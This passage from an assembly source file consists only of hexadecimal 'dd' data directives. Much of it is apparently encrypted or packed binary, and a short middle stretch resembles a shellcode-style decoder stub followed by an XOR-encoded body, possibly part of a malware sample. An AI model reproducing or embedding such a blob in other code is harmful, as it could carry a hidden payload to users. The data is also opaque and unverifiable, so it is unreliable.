		dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh
		dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h
		dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h
		dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h
		dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh,	6CD30D2Fh
		dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh
		dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h,	2731E956h
		dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh
		dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh,	280D01A5h
		dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h,	344DE17Dh
		dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h
		dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh,	90599F6h
		dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h
		dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h,	764E19BDh
		dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h
		dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h
		dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh,	8074904Fh
		dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h
		dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h,	723AB421h
		dd 41430C2h, 1E06090Eh,	0C965894Ah, 0CFDC09h, 58EF533Fh
		dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch
		dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh,	0D14AD342h
		dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h
		dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h
		dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h
		dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh
		dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch,	7E05DCA7h
		dd 128C10E2h, 332EAB2h,	6B9F5826h, 46F74Ch, 5FE0CA8Fh
		dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h
		dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h
		dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh
		dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h
		dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h
		dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h,	26C29DB4h
		dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h,	6F32EEADh
		dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h
		dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h,	3711477Bh
		dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h
		dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h,	44B56433h
		dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h,	5688B078h
		dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h
		dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h
		dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h
		dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh
		dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h
		dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h,	0E3F0BE4Ch
		dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh
		dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h
		dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh
		dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h,	31C19942h
		dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h
		dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h
		dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h
		dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h
		dd 570C22Eh, 32D80EA2h,	5FE32BFCh, 0C346F48Ch, 0CE4C0B17h
		dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h
		dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h
		dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h,	55E5B37Dh
		dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h
		dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h
		dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h
		dd 0A07D1Dh, 27C6D88Eh,	0D17DF339h, 4F2BCD19h, 0B74705CDh
		dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h
		dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h
		dd 1E18625h, 0B6C70975h
		dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh,	0CB5F36C6h
		dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h
		dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh,	30982E0Ch
		dd 7C98E55h, 31FDB645h,	57E8D180h, 0F951C3BEh, 90E96F3Fh
		dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h
		dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh
		dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h,	39D167C2h
		dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h,	0EE8541DFh
		dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h,	0CA9947C2h
		dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h,	1879191Eh
		dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h
		dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h,	0F5E39D90h
		dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah,	1048BE9Eh
		dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh
		dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h
		dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h
		dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh
		dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h
		dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh
		dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh
		dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh
		dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh
		dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h
		dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h
		dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh,	0DD523383h
		dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh,	0AB740168h
		dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh
		dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h
		dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h,	0B0A16A33h
		dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h
		dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h,	514F8A4Eh
		dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h,	3D8B4B64h
		dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h,	10D144AEh
		dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah
		dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h,	7BD451F1h
		dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh
		dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h
		dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h,	0C00180CEh
		dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h,	0AA733C2Dh
		dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh
		dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h
		dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h
		dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh,	0EBB44DF4h
		dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh
		dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah
		dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h
		dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h,	4EBC7A58h
		dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h
		dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h,	0E8h, 0EB815B00h
		dd 0FFFFFFD4h, 2464BA53h, 0EFBF0000h, 8A000000h, 0F8316603h
		dd 4A430386h, 7700FA83h, 0E3FF5BF2h, 4E203FFh, 0C3E57Fh
		dd 0EF077F00h, 64EFEFEFh, 6F18CBEBh, 0EFEFCBC4h, 6FEFEFEFh
		dd 0C6437766h, 0B364EFEFh, 0C29BEBCBh, 5F66B613h, 0EFEFC65Fh
		dd 0C65B5766h, 576FEFEFh, 0EFEFCBC0h, 0ECE29A07h, 0EFCBDF77h
		dd 0EDB464EFh, 0E704DC10h, 0CBDE7764h, 0DC10EFEFh, 6E7ABAB4h
		dd 0D8EBCB83h, 6EEFEFEFh, 101FEF0Ch, 0E9026E10h, 64EFAFFFh
		dd 62EBCB93h, 0AFDBD35Ah, 0EFC756EFh, 4B1CEFEFh, 0BBA1946Eh
		dd 9A9C8687h, 0D3AC64E2h, 89F7EB62h, 0AABFD76Eh, 46EE79Bh
		dd 0EFEFEEEFh, 0BF640D9Ah, 643CEC97h, 0A564CF9Dh, 0BE1CECF7h
		dd 6E2CEC42h, 0A8EF1097h, 0F49A9B8Ah, 0BFEC976Eh, 9A8C809Dh
		dd 0E8976EFDh, 9D8B8BAEh, 976EE69Ah, 9C9C8AE4h,	0DEA9BEFh
		dd 2CB2B638h, 64CBE3C6h, 0ECB6CB9Dh, 0EB58E01Ch, 0F39564A1h
		dd 0DB6414ECh, 71CEC68h, 0EFEFEFE3h, 9C8083ACh,	818EA78Ah
		dd 0EF8A838Bh, 663910BCh, 0AFDAD36Ah, 0EFE207EFh, 9DACEFEFh
		dd 8A9B8E8Ah, 818A99AAh, 0BCEFAE9Bh, 6A663910h,	0EFAFDAAFh
		dd 0EFEFE207h, 9B8AA8EFh, 9B9C8EA3h, 809D9DAAh,	10BCEF9Dh
		dd 0AB6A6639h, 7EFAFDAh, 0EFEFEF9Fh, 0CE9B2F6Ah, 0AB7A10BFh
		dd 6AEFAFDAh, 62FF9A2Fh, 0AFFE3D6Ah, 10BF65EFh,	0EFEF8107h
		dd 109304EFh, 0AFDAD37Ah, 0DE6A18EFh, 0EFEFAFDBh, 9B6FEFEFh
		dd 0DA5A62F1h, 64EFAFDBh, 4BEBCB93h, 5D72644Ah,	64EFAFD6h
		dd 0AFD6595Ah, 555264EFh, 0B2EFAFD6h, 0EF85B52Ch, 0EF85EF85h
		dd 0EE87EF85h, 64EFEBEFh, 0BFEF852Bh, 2B64E385h, 0BBB90D10h
		dd 0EFEFDCB0h, 350726DCh, 62101010h, 0AFFE4E7Ah, 0BEBEBDEFh
		dd 0AF7A10BFh, 6CEFAFDAh, 652CCF2Bh, 0CDB0561Dh, 0FFDFEFEFh
		dd 0D39EDAFh, 48CB2C16h, 1B6A0302h, 0E4C1337h, 3B1F7603h
		dd 30A7017h, 1B3F0372h,	5FBE567Ch, 322C2307h, 6BDEB2BDh
		dd 0E28186A8h, 0F97C93F7h, 29D00BD6h, 8CDB355h,	0A2C156E6h
		dd 5ED5337h, 781A6590h,	0CAEF7344h, 6E37362Eh, 1E421377h
		dd 3B1F763Ch, 36223A24h, 1B7F763Fh, 3567CD46h, 0A41F2344h
		dd 7EFB2628h, 333E0367h, 0FFCB9CA8h, 30DFE307h,	4B4567D0h
		dd 9BD700E4h, 62075367h, 3BAAF342h, 0A2215B57h,	5B1583A7h
		dd 9E0786C8h, 0FBDA63C7h, 755E7718h, 96A8BC98h,	2B9FD342h
		dd 42F0A847h, 4B6FB9A3h, 0CBFFEEA6h, 0BEC293F7h, 0BB9FF184h
		dd 0E9D0D664h, 109F2F64h, 0D807398Bh, 0EE12FA07h, 0CBAF296Ah
		dd 0A7F42854h, 55DF44BEh, 53087FC0h, 8BAEF314h,	2E6FD698h
		dd 0AF0CD3B7h, 0F4DFA667h, 0B4911153h, 0DB9594D8h, 2B2792DDh
		dd 0D35FE303h, 0B2E7397h, 0AEEF5618h, 2B8A5337h, 851A27C8h
		dd 0CB85CCA8h, 5B7FEBF7h, 0ABA51333h, 6C538B46h, 0E3FFF27Dh
		dd 1B3E4366h, 5EDF4608h, 0F1772307h, 0B46FB2D7h, 9BCA53B2h
		dd 2B4A7BB7h, 0EF36E307h, 61D08C69h, 915C9AE7h,	7EF0591Dh
		dd 7BDF967Bh, 482CC2BCh, 1B4AF31Ah, 2FC01337h, 0C4A09DB0h
		dd 8BAFF5FFh, 5F6B0D67h, 948F9FBBh, 0BB2AABD2h,	38DA3ED7h
		dd 0E8FF4330h, 0FBF21E7Eh, 0ADFA332h, 4DC7E09Ch, 18BFC3E5h
		dd 0AB3AABCAh, 0FF90A3C7h, 3410CD54h, 6EAB062Ch, 0DB301377h
		dd 0AEDAEC86h, 0AFB324h, 5B0AABE2h, 6AFF2CF7h, 0C8FDA6C8h
		dd 0CEE4B397h, 0DBBF36FFh, 0A44EE348h, 0FBEC0A82h, 0D7A2F897h
		dd 78BF83D2h, 0EA7EAC7Eh, 48692648h, 39073317h,	0D6807C5Ah
		dd 0EBF95D8Ah, 5190E887h, 74760517h, 0FABC4717h, 68CFB9F4h
		dd 0FB7574BEh, 0FEE2ABBDh, 0DBBF16B8h, 2B4F8F0Eh, 360B6807h
		dd 0F4D13E93h, 30D93C18h, 0EB4257FAh, 1D9FA3C7h, 0CFA8BEFCh
		dd 0F79BB10Ch, 502DB851h, 0F53763EDh, 0AFF37Eh,	903F29ABh
		dd 38FB933h, 0F31F2347h, 193EF3BDh, 24AF0D4Dh, 6B7A7322h
		dd 7F5CBB07h
		dd 62E11BD7h, 4F34C3E7h, 2784531Dh, 7BF5E3ADh, 0A1BD313Dh
		dd 32B1EBA7h, 0ABA51337h, 6BA009D6h, 0BE4B66E8h, 42604327h
		dd 0EF802C72h, 4E0DE60h, 5B6F065Ah, 0AF460367h,	0A04F93BDh
		dd 3A7A10E8h, 4B3F737Ah, 0D73A4EE7h, 140F1363h,	9B0A2E27h
		dd 99EF734Fh, 6EE31658h, 0BD271377h, 775F6387h,	0FEC49C78h
		dd 724D1317h, 0EE3BA81h, 9A494620h, 0A0AC6BBh, 4E005327h
		dd 2B0FA6FFh, 8E93668Eh, 5F7F73D7h, 64D5E38Dh, 0DEE3C688h
		dd 0BB1AA387h, 5DD04608h, 0D2981CDh, 0AAA5C7BCh, 3B4E8BD5h
		dd 0EEFCF317h, 6E5D2623h, 2FD8390h, 9E734A31h, 1D6FD6B0h
		dd 0EEB396D8h, 0EFC493F7h, 0EB89B551h, 9ED024C1h, 9BFFF637h
		dd 0BC1F97F4h, 4EA33638h, 0CB853317h, 0CE8081CDh, 0AB8F2647h
		dd 3B5E4B3Eh, 6A846417h, 4F1B4FEEh, 0C71A2CA0h,	0C81F6372h
		dd 77CA3021h, 0DBFF4311h, 0BEB0C4E3h, 0BB9FD6B7h, 575BB312h
		dd 9F4140A1h, 9FF0BD05h, 7BF5ABE3h, 5E10193Dh, 5B3FB60Fh
		dd 77BBD3B2h, 3F628B14h, 429CF317h, 220FA0F6h, 2BB9EF72h
		dd 7A375647h, 4B621D16h, 8BAB5327h, 7B1FC2E1h, 0D34A1C54h
		dd 8E2F33A2h, 94CB9A27h, 0E32B2788h, 4DA32648h,	67073317h
		dd 8807C5Ah, 9EF386C8h,	0A3B463C7h, 8A873796h, 0E4684367h
		dd 2BBAEF62h, 0FACA47h,	2E24C28h, 83A75B27h, 2B665DB7h
		dd 0BBD28607h, 0B2F7297h, 9BBFC3E7h, 0EB0F5377h, 28C9F2C7h
		dd 0FEA7A6A8h, 2D483E7h, 0DE0F979Bh, 0F8B1817Ch, 0F8CEB14Bh
		dd 765E0D02h, 9C0B792h,	8F7C462Dh, 7838EFA4h, 0B2A95C15h
		dd 2B3AE7C5h, 0C9AB906Bh, 0B4116FBh, 0FADAB1A4h, 82493603h
		dd 7BDEC6ABh, 0AA8A4114h, 3239E6D3h, 0CA82765Bh, 553613F7h
		dd 0C8AFB270h, 6F5E2615h, 4FD8392h, 886C4624h, 392CB396h
		dd 0BE8B6242h, 4422F6E5h, 0D38B8673h, 6F4E16E5h, 0FECD80E7h
		dd 0BF6A2716h, 1AFAD1AFh, 0B9AC3333h, 3E0BE2C2h, 0C7A07C63h
		dd 4B3306EFh, 0E5FCC124h, 734C3306h, 2E8FA798h,	0AF6B4A3Fh
		dd 2A0AC1BFh, 0B2B90343h, 421BF6DBh, 0D48B866Ah, 7F5C0AC4h
		dd 0F2EBAE82h, 0AC0F361Ah, 12D9D7A2h, 0BFAE563Bh, 3916F1D3h
		dd 0D8AA6742h, 5E1863C6h, 0E7C6B563h, 61561002h, 0EC8D392h
		dd 97766533h, 2606E7B2h, 0BEB80342h, 4F20DEC3h,	0F3BA8F72h
		dd 674B1DF6h, 0DCBF8282h, 8E5B2712h, 12D9D3AAh,	0AAA1563Bh
		dd 5B3EE6CAh, 0FFBB7670h, 6B2F0EE2h, 0CAC78776h, 6F5A0467h
		dd 18FDB6A1h, 0FB714C2Eh, 1D1BD690h, 0B28C7142h, 530AFDD8h
		dd 0D493E346h, 626317F6h, 0E9DEB185h, 0A60F120Eh, 12C9D3A6h
		dd 0ADA04432h, 3E13EAE1h, 0CEBF5C37h, 573625E9h, 0FBCEBE72h
		dd 7C512A17h, 1BC0D3B6h, 894F4D22h, 380AD0B8h, 0A9AF0354h
		dd 582AF0D8h, 0FDEDD074h, 7F5C01FEh, 0F4CD93E7h, 987C3614h
		dd 1ED191F4h, 98EF472Fh, 3239F7C2h, 0DF8E765Bh,	593611F3h
		dd 0F8CA8762h, 7E6C4326h, 7E69583h, 96767722h, 273CB3B2h
		dd 0DB8F6642h, 5F3CEAE4h, 0D28B8E62h, 647B16FAh, 0FED3AAA1h
		dd 8E623A23h, 16F1F6C7h, 0A2B94336h, 3D30F4C2h,	0CEA37A71h
		dd 49363587h, 0E7CE8663h, 74532F26h, 19D8D394h,	0BD7A572Eh
		dd 4B0ADFBEh, 0BFBE7769h, 5F3CE6DDh, 0CDB69157h, 6C4A1FFEh
		dd 0F4EBB082h, 0EB61361Ch, 9DCD789h, 0AE9B5232h, 3E13EAE1h
		dd 0E8BB5D37h, 4F3E06F5h, 0E4DDA372h, 684C2604h, 28FB9DF7h
		dd 8F7E4635h, 241DE3B2h, 0A88C6644h, 654FEBF2h,	0DEADA073h
		dd 584A07F6h, 0F2CBA082h, 0A50F3D18h, 0BFEEEB3h, 0BC8A5A01h
		dd 3E2CE5E8h, 0C4A66754h, 4F1163E9h, 0E5CA8358h, 7E532A21h
		dd 24FB9DF7h, 0AB714637h, 2E0CDCA5h, 0B4AB7054h, 2B21F6DCh
		dd 0C98F9749h, 684A07F8h, 0E9D69593h, 876E2603h, 14F2C68Ah
		dd 85EF4A25h, 320DD4D3h, 0C2997643h, 5A2A17F5h,	0E6CABE7Bh
		dd 1B463108h, 3EE3A7A5h, 947C4A29h, 3F3CD6B3h, 0BC916A55h
		dd 450EFCE3h, 0CF8C8A74h, 6C411AE5h, 0DAEC94E7h, 996E2724h
		dd 7BEFD6B3h, 0B8805F34h, 3810F0C2h, 0ABBB765Ch, 55310CE4h
		dd 8BDB9072h, 734B2600h, 9FBA098h, 967E4D3Eh, 2E1DB3B2h
		dd 0A8FF7544h, 2B2BFDD2h, 0D0BC8C74h, 422F07F2h, 0E9DAB789h
		dd 0A87B3619h, 1EECCCABh, 0AF81521Fh, 127FE6CBh, 0D9AA6759h
		dd 7C2B06E9h, 0E4EC8772h, 785A2D09h, 38EBB683h,	9E6B4233h
		dd 3F01FAD7h, 0BE917142h, 4E3FDCC3h, 0F2DFA269h, 794A07F9h
		dd 0D4CBA689h, 0BE613607h, 7BDECFB5h, 0AE9B5D1Eh, 2F1AEDD5h
		dd 0CFAE7665h, 5E330AC1h, 0DDEBB217h, 28761326h, 27CBFDC5h
		dd 9E4D230Bh, 2403F0B0h, 0BEB46654h, 4E1D93CEh,	0DEAFAC60h
		dd 724A38F9h, 9BFEBBA2h, 0BA683625h, 2EDC6B2h, 0BE835201h
		dd 1A07C6C2h, 0CCAA4137h, 6D2B06D4h, 0EEDA9F76h, 1B7E3B22h
		dd 408A3A74h, 0FB77728Fh, 0C687B3D7h, 0B1FC276Bh, 7A4AF9B7h
		dd 0BEB5B057h, 807FBF1Ch, 0F1EB9333h, 0B85D0237h, 4E6F3638h
		dd 0F6C3317h, 0AFEA7CABh, 28CF5302h, 6C9C6B43h,	9E1E769Ah
		dd 0E40C4327h, 18FB9A7h, 5F8ADC49h, 0CE6FF3E2h,	4B7B0CE7h
		dd 7B4F93B7h, 0BBB62D6Fh, 61FBF897h, 0F17348E7h, 0EB0F3B37h
		dd 79F5A3D7h, 0A3EF5905h, 5B7FEA69h, 0F89E135Dh, 0DFCA9CD7h
		dd 0D4AFB322h, 27AABC3Eh, 0EE8F93C2h, 704357B8h, 0B7A3B5Ah
		dd 56F3E027h, 6B5F9322h, 0EC0EE007h, 80FD8CC4h,	0DB8A1762h
		dd 7F80DE77h, 939FA3E4h, 3410CC03h, 6E97062Ch, 24421377h
		dd 3B5F4066h, 7450B0FFh, 0C3BAC898h, 0E68F93C2h, 0FB3CCBC8h
		dd 0B45D5BD7h, 5E74FCD8h, 2B0FA66Bh, 0B0AB2382h, 28DAFC1Ah
		dd 8657C3E7h, 60F0AC88h, 2E5CFC00h, 0CBEF33BFh,	0B6FEDEA7h
		dd 0AB8F0923h, 0BED2AAB4h, 8BEFEEB9h, 4A6E1736h, 94DE82A7h
		dd 0BB2A4FD2h, 6F6B34D7h, 0EEC396D8h, 0E91293F7h, 538AE303h
		dd 0B2F7397h, 0D85242BAh, 810F136Dh, 750A2E38h,	9BEF734Dh
		dd 7F5F4EF5h, 28CF3937h, 0FC396F43h, 0CBB5A792h, 0DC1F8E67h
		dd 2B958572h, 0D11F0747h, 21ACEED7h, 24FE6926h,	2F3C6C84h
		dd 7B5AF6F8h, 4783E3h, 10BFC3E7h, 0BB0C08A7h, 92A2EFBh
		dd 40EF734Dh, 5B7E8F1Dh, 0A3459837h, 385F6386h,	0EB64D8EFh
		dd 0BDCC88ECh, 2C8AA796h, 39F4D6A5h, 1C607454h,	50ACD7ACh
		dd 411BC37Bh, 0D18DB247h, 0FBBA8C68h, 18BF83D2h, 7E845FB3h
		dd 7BDF96B3h, 216CE47Ch, 317844A0h, 22CFFB37h, 519C60D0h
		dd 8247AB0Dh, 963F4367h, 9525B2B5h, 38EF568Eh, 7D2926BEh
		dd 5FFA0367h, 0A20D9BBFh, 0FBE9A592h, 0C8CD8497h, 9BBF2BB2h
		dd 6A525377h, 3B84AA2Ah, 8172B857h, 0D87FC391h,	0ABC7374Bh
		dd 3BE6E788h, 672EF317h, 1B3F416Fh, 6A8BBBA3h, 6EE02347h
		dd 4B2F8647h, 5F72FFACh, 2B4E9793h, 0BBB5B307h,	0B2F777Fh
		dd 0CFED95E7h, 7EF00477h, 7BDF964Bh, 5C62FA64h,	5B7F82A3h
		dd 0A9A54266h, 535E09D6h, 0CBAFF317h, 47AABC35h, 0FD8F93C2h
		dd 0A06BD5C2h, 4F07E787h, 8CFF0326h, 0B6B2748h,	44DFE305h
		dd 4B195B02h, 5B3A9AE7h, 0FFEC4503h, 114B2897h,	9CBE6157h
		dd 97EA7CF1h, 0F2CF5302h, 0EB2AA302h, 0B73A0C41h, 963F0352h
		dd 3CDD97A0h, 7647672Dh, 4B6EB740h, 1BCCA827h, 0D81683DDh
		dd 0EB8FB3ACh, 5B7F23C7h, 0FF2A3CB5h, 6A0F1342h, 7B9DAB03h
		dd 0EF9BCC57h, 43EA7CAFh, 0F8CF5301h, 0D47F678h, 49F2F357h
		dd 25BF4363h, 2D8EA6FDh, 0EE9BAECCh, 528CB397h,	0CBFF96AAh
		dd 0FA4C93F7h, 3F0D1C51h
		dd 14A77C57h, 94BFC3E6h, 0EB0E43F3h, 41A123C7h,	4BA92322h
		dd 0DF708399h, 0ABCF1236h, 4E7F5D07h, 0B52EB5E6h, 5C710A37h
		dd 0A4049182h, 0B41E6581h, 213E7DFCh, 88A95227h, 1D5F0648h
		dd 8086E347h, 0D4AA7C56h, 16BFC3E7h, 0AB12F1F2h, 139FC9C7h
		dd 0CBEF335Bh, 0CE80D0F7h, 0AB8F2527h, 3B5F6FBAh, 342AFC17h
		dd 0F23F4367h, 6B8FD346h, 0A94F1DC6h, 0CE60E59Eh, 0DBFF0382h
		dd 87475534h, 3FD0EE3Bh, 0B2F730Eh, 68CAE3DBh, 0E4356FDBh
		dd 7B9F2F42h, 0EBE29E57h, 665FA387h, 0DFAA7416h, 7F31CF2h
		dd 0AD38637h, 731FBC19h, 1AFAA783h, 8B1C5DC6h, 3E409CEDh
		dd 24B8C54Fh, 917E9CB7h, 0BBDFC417h, 0F47D9160h, 0DB8A7F72h
		dd 0BBCF6077h, 93CFF397h, 0CBEF335Eh, 3508ECE3h, 0CFAE7C5Bh
		dd 1BCA9C87h, 0EAFB321h, 280937A7h, 210A5A3Eh, 0AA1F6371h
		dd 4B6DB3BFh, 8DAE52A7h, 0FDA6CE7h, 36DFA331h, 4B347002h
		dd 528C93E7h, 0B95F0223h, 0EE60F296h, 0CBAF063Bh, 0A45B8720h
		dd 0EBFA2FA2h, 0BB9C9B87h, 0CBBA849Ah, 0D8C64267h, 3FC99CA4h
		dd 0BE4D6210h, 2806FE8Bh, 0B48C6C55h, 7C13E7D1h, 0D4BB8D6Eh
		dd 487300E0h, 0FECDB192h, 8E592719h, 14F6D0B5h,	0B3AA6F39h
		dd 2910EFD7h, 0FFCF6152h, 5E3811E6h, 0F8C0BB63h, 1B3D4313h
		dd 6B8F2308h, 896F2347h, 2606CBB8h, 0B88D6A09h,	4A23F2D0h
		dd 0CBF19A7Fh, 426173FBh, 0EA9F88A4h, 9B763506h, 71EBC9B4h
		dd 99AA6002h, 694FF087h, 9AFF2607h, 157F4DA7h, 0C182C937h
		dd 3B710A28h, 19E6A5D1h, 0AE155633h, 4B6FB33Fh,	367E5E27h
		dd 2B0F8E03h, 0AEA866C1h, 0F42F73D7h, 0DB8A5772h, 0F4E79277h
		dd 65F59FB3h, 0FEBF86DCh, 0F72683E7h, 81BA3D0Bh, 0C461E2E1h
		dd 68C860Ah, 5B0903DAh,	69F958F7h, 5E798610h, 7805365Ah
		dd 5E700367h, 2B0FA027h, 41996AFDh, 0F0D13D1Bh,	545DC256h
		dd 6E82109Ch, 7BDFB676h, 0A1EF5907h, 0FFEA7CA9h, 28CF5302h
		dd 3F5747FBh, 8F47D862h, 483F4367h, 948F90B1h, 0BB2AABD2h
		dd 0B7275BD7h, 0DC17FCD8h, 784F93B7h, 0F480A041h, 9ED073C4h
		dd 9BFFF66Fh, 14F3629Fh, 88C94B38h, 4610CCA8h, 5B3F90A4h
